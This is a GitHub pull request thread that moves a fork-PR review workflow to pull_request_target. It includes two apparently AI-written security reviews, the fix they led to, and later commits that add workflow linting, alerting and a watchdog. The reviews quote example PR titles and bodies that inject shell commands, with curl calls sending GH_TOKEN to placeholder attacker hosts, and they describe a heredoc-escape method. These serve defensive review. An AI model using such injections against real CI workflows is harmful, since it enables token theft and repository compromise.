fix(examine): unblock fork PRs (pull_request_target) - #23
Conversation
Robin's PRs from her fork were silently dropped because GitHub withholds
secrets from pull_request workflows triggered by forks. The examine
workflow died at step 1 (create-github-app-token: app-id missing) before
it could read a single line of diff.
Switch the trigger to pull_request_target. Safe because:
- src/review.py fetches the diff via the GitHub API (data, not code)
- src/immunity.py:_fix_pr already refuses to push to forks without
maintainer_can_modify
- actions/checkout uses the default ref (base branch), so no fork code
executes in this workflow
Comment block warns future editors not to add steps that would execute
PR-head code, which would turn this safe pattern into token exfiltration.
…n forks
Cage-match review (Maxwell + Carnot, both REQUEST_CHANGES) caught two
critical injection vectors that were dormant under pull_request (no
secrets) but become token-exfiltration speedruns under
pull_request_target (App token in env):
1. PR title interpolated directly into shell:
echo "title=${{ github.event.pull_request.title }}" >> "$GITHUB_OUTPUT"
A fork PR titled `$(curl attacker.com?t=$GH_TOKEN)` would execute.
2. PR body inside a static-delimiter heredoc:
cat <<'PREOF' > /tmp/pr_body.txt
${{ github.event.pull_request.body }}
PREOF
A body containing a literal `PREOF` line escapes the heredoc and runs
the rest as shell.
Fix: pass all fork-controlled fields via env: (Actions does not template
env values into shell), validate the PR number as digits-only, and write
the body with `printf %s` instead of a heredoc. Title goes to
GITHUB_OUTPUT via the delimited multi-line form with a random delimiter
so a pathological title can't break the output file format either.
Carnot also flagged github.event.inputs.pr_number as the same pattern;
moved to env and added input validation. workflow_dispatch is not
fork-reachable but the consistency is worth it.
There was a problem hiding this comment.
MaxwellMergeSlam's Review
Verdict: REQUEST_CHANGES
Summary: The trigger swap is correct and the threat model in the description is sound — but the existing Resolve PR context step interpolates pull_request.title and pull_request.body directly into a shell script, which was a low-severity papercut under pull_request and becomes a token-exfiltration speedrun under pull_request_target. We're handing forks a loaded gun and pointing it at the App credentials. Fix before merge.
John McClane: "Welcome to the party, pal." Except the party is "untrusted-input → shell" and the door is now wide open.
Findings:
-
🔴 Critical — script injection via PR title (
.github/workflows/review.yml:76):echo "title=${{ github.event.pull_request.title }}" >> "$GITHUB_OUTPUT"GitHub Actions templates
pull_request.titlebefore the shell parses the line. A fork PR titledfoo$(curl -d @<(echo $GH_TOKEN | base64) attacker.example)becomes literal shell. Under the oldpull_requesttrigger this got the attacker nothing because the App token wasn't minted (the secret was empty — that's the bug we're fixing). Underpull_request_target,GH_TOKENin this step's env is the freshly-minted Flux App installation token withcontents:writeandpull-requests:write. Game over. -
🔴 Critical — script injection / heredoc-escape via PR body (
.github/workflows/review.yml:77-79):cat <<'PREOF' > /tmp/pr_body.txt ${{ github.event.pull_request.body }} PREOF
Quoted heredoc protects against
$VARexpansion inside the body, but doesn't protect against the templated text containing the delimiter. A fork PR whose body contains a line of literalPREOFfollowed by attacker-chosen shell breaks out of the heredoc and executes with the App token in env. Same blast radius as #1.T-800: "Come with me if you want to live." — said the App token to the attacker.
-
🟡 Workflow-from-base reminder (description, not code):
pull_request_targetalways runs the workflow from the base branch, so the security comment block we just added only takes effect once this PR is merged. A subagent dispatchingexamineon the existing four open PRs before merge will still hit the brokenpull_requestworkflow. Not a code defect — just a sequencing fact worth noting in the merge-then-dispatch order. -
🟢 The
concurrency:group at line 14-16 referencesgithub.event.pull_request.number— underpull_request_targetthis is still populated from the PR event, so concurrency isolation is preserved. Good. -
🟢
actions/checkout@v4with noref:correctly resolves togithub.ref= base underpull_request_target. No fork code executes. The diff is fetched via API insrc/review.py:128. The threat model in the PR body is accurate on this axis. -
🟢
_fix_prinsrc/immunity.py:486explicitly bails on forks withoutmaintainer_can_modify, so the auto-fix path can't be hijacked into pushing attacker content to a fork.
The Good:
- Trigger swap is the textbook fix for the actual symptom (app-id empty under fork PRs). Diagnosis was correct.
- The YAML comment block is genuinely load-bearing — it's a tripwire for the next editor who'd otherwise convert this to an exfil vector by adding a
ref:to checkout. Keep it. reopenedadded to event types — small, correct hygiene fix the old config silently dropped.- PR description correctly identifies why the pattern is safe (data-only diff, no PR-head execution). Reasoning travels with the code.
The Concerns:
The two injection vectors have to be fixed in this PR — not deferred. The exact reason this PR exists (giving fork PRs access to App credentials) is the exact reason these previously-dormant injection vectors become live. Shipping the trigger swap without fixing them is net-negative for security.
Required fix — pass untrusted input via env vars (which Actions doesn't template into shell), then write to GITHUB_OUTPUT using the delimited multi-line syntax with a random delimiter:
- name: Resolve PR context
id: pr
env:
GH_TOKEN: ${{ steps.flux-token.outputs.token }}
PR_NUMBER_INPUT: ${{ github.event.pull_request.number || github.event.inputs.pr_number }}
PR_NUMBER_FROM_EVENT: ${{ github.event.pull_request.number }}
PR_AUTHOR_FROM_EVENT: ${{ github.event.pull_request.user.login }}
PR_TITLE_FROM_EVENT: ${{ github.event.pull_request.title }}
PR_BODY_FROM_EVENT: ${{ github.event.pull_request.body }}
run: |
set -euo pipefail
PR_NUM="$PR_NUMBER_INPUT"
echo "number=$PR_NUM" >> "$GITHUB_OUTPUT"
if [ -z "$PR_NUMBER_FROM_EVENT" ]; then
PR_JSON=$(gh pr view "$PR_NUM" --repo "$GITHUB_REPOSITORY" --json title,body,author)
AUTHOR=$(echo "$PR_JSON" | jq -r '.author.login')
TITLE=$(echo "$PR_JSON" | jq -r '.title')
echo "$PR_JSON" | jq -r '.body // ""' > /tmp/pr_body.txt
else
AUTHOR="$PR_AUTHOR_FROM_EVENT"
TITLE="$PR_TITLE_FROM_EVENT"
printf '%s' "$PR_BODY_FROM_EVENT" > /tmp/pr_body.txt
fi
echo "author=$AUTHOR" >> "$GITHUB_OUTPUT"
DELIM="GHA_OUTPUT_$(openssl rand -hex 16)"
{
printf 'title<<%s\n' "$DELIM"
printf '%s\n' "$TITLE"
printf '%s\n' "$DELIM"
} >> "$GITHUB_OUTPUT"Rocky Balboa: "It ain't about how hard you hit. It's about how hard you can get hit and keep moving forward." — fix the injection, then ship.
Both critical findings addressed in 6efa401. Posting as COMMENT (was REQUEST_CHANGES at review time) since the fix is already applied.
There was a problem hiding this comment.
CarnotCryoCrusher's Review
Verdict: REQUEST_CHANGES
Summary: This pull_request_target switch exposes repo secrets to fork PRs while PR-controlled title/body are still injected straight into bash. HAL 9000: "The token is leaving the pressure vessel."
Findings:
-
Critical — shell injection via PR title:
.github/workflows/review.yml:83
github.event.pull_request.titleis attacker-controlled and is interpolated into therun:script before bash executes. Double quotes do not save this: a title like$(curl -fsS https://attacker.invalid/?t=$GH_TOKEN)runs withGH_TOKENfrom.github/workflows/review.yml:70. -
Critical — shell injection via PR body heredoc delimiter:
.github/workflows/review.yml:84-86
The quoted heredoc blocks expansion inside the body, but the body can contain a line exactlyPREOF, ending the heredoc and turning following body lines into shell. A fork PR body can execute commands beforesrc.reviewstarts. -
Medium — same pattern on manual input / later shell use:
.github/workflows/review.yml:72,.github/workflows/review.yml:114
workflow_dispatch.inputs.pr_numberandsteps.pr.outputs.numberare also interpolated into shell. That is not fork-author reachable in the same way, but it is the same thermodynamic sin: untrusted text crossing into shell without a heat exchanger.
The Good:
.github/workflows/review.yml:37-40checks out the default base ref, not PR head..github/workflows/review.yml:57installs base-branch requirements.src/review.py:128-153fetches PR diff/files through the GitHub API.src/review.py:346-357invokesclaudewith an argv list, notshell=True.
The Concerns:
Move PR metadata extraction out of GitHub expression interpolation inside run:. Read from $GITHUB_EVENT_PATH with jq, validate PR numbers as digits, and pass values through env: or files. For the body, write API/JQ output directly to /tmp/pr_body.txt; do not embed it in a static-delimiter heredoc.
TARS: "That is not a minor leak. That is vacuum with branding."
Posted under the Kelvin App handle (Carnot is the third reviewer in the cage-match family — Gemini was over quota, so Codex stood in). Both critical findings addressed in 6efa401.
Two guardrails so the silent-failure pattern that masked the broken examine workflow for ~9 days in late April doesn't recur. 1. .github/workflows/lint-workflows.yml — runs zizmor on any PR that touches .github/workflows/**. Set to --min-severity high so it catches the script-injection / template-injection / pull_request_target misuse class that bit us on PR #23. The deliberate pull_request_target on review.yml is justified inline with `# zizmor: ignore[dangerous-triggers]`. 2. .github/workflows/review.yml + heartbeat.yml — `if: failure()` step at the end of each job that pings Telegram (existing TELEGRAM_BOT_TOKEN / TELEGRAM_CHAT_ID secrets) with the workflow name, optional PR number, and run URL. Built with `printf` and `--data-urlencode` so a future workflow rename or PR-number value can never inject into the curl. 3. .github/zizmor.yml — config relaxes `unpinned-uses` to ref-pin (we don't SHA-pin actions) with a comment explaining the deferral. The excessive-permissions findings on existing workflows are left to be addressed in a separate audit pass. Two follow-ups deliberately deferred (separate PRs): - SHA-pin all action references and add Dependabot to keep them current. - Add least-privilege `permissions:` blocks to all workflows.
* feat: add watchdog workflow for liveness monitoring External liveness sentinel — counterpart to the runtime failure-alerts shipped in PR #24/#25. Where alerts say "something failed", watchdog says "you haven't done your job in N minutes" — fires on absence. Three independent checks per hourly run: 1. Heartbeat liveness — vitals.json last_heartbeat_at older than 90 min 2. Examine health — >30% failure rate over last 10 runs OR any fork-PR examine failure in last 24h 3. Open-PR review staleness — PRs >24h old with no flux-bot review Each alarm pings Telegram and opens-or-updates a single GitHub issue labeled `watchdog` (search-by-label-first, never spams). Schedule offset to `7 * * * *` to decorrelate from heartbeat's `*/30`. schedule + workflow_dispatch only (no fork-PR exposure). All github.* values flow through env: to shell, never templated into run: blocks (lesson from PR #23). zizmor --min-severity high passes against both current and strict (no-relaxation) configs. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(watchdog): address cage-match findings inline Pre-flight self-review + Carnot's review surfaced 5 concrete bugs: 1. `gh run list --json` does not expose `headRepository` — examine health step would have failed on every run. Switched to the REST API (`gh api .../actions/workflows/review.yml/runs`) which returns `head_repository.full_name`. 2. Missing `pull-requests: read` permission. `gh pr list --json reviews` needs it on a least-privilege token. 3. 10-run window for fork-fail-in-24h could miss item 11 inside the window on a busy day. Bumped per_page to 30; failure-rate metric still computes over the most recent 10. 4. `gh pr list` defaulted to limit=30 — silently truncating exactly the stale-PR signal this workflow exists to surface. Bumped to 100. 5. Issue create/edit ran before Telegram, so a GitHub Issues outage could suppress the independent notification. Reordered (Telegram first), wrapped both paths so a single failure doesn't fail the run, final exit fails iff BOTH paths failed. Plus aggregate step now threads `steps.X.outcome` and treats anything other than "success" as an alarm — empty outputs from a failed check step would otherwise silently render as "OK", the very class of bug this whole workflow exists to catch. Each check step gets `continue-on-error: true` so a failure in step 1 doesn't skip 2+3. Staleness query also excludes draft PRs and PRs authored by the bot itself (Flux reviewing its own PR is circular). Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Summary
Why this is safe
`pull_request_target` is famously dangerous when combined with `actions/checkout` of the PR head + executing PR-controlled code (build scripts, lifecycle hooks, etc.). This workflow does neither:
A comment block in the YAML warns future editors not to introduce a step that would execute PR-head code — that's the one change that would turn this from safe to a token-exfiltration vector.
Test plan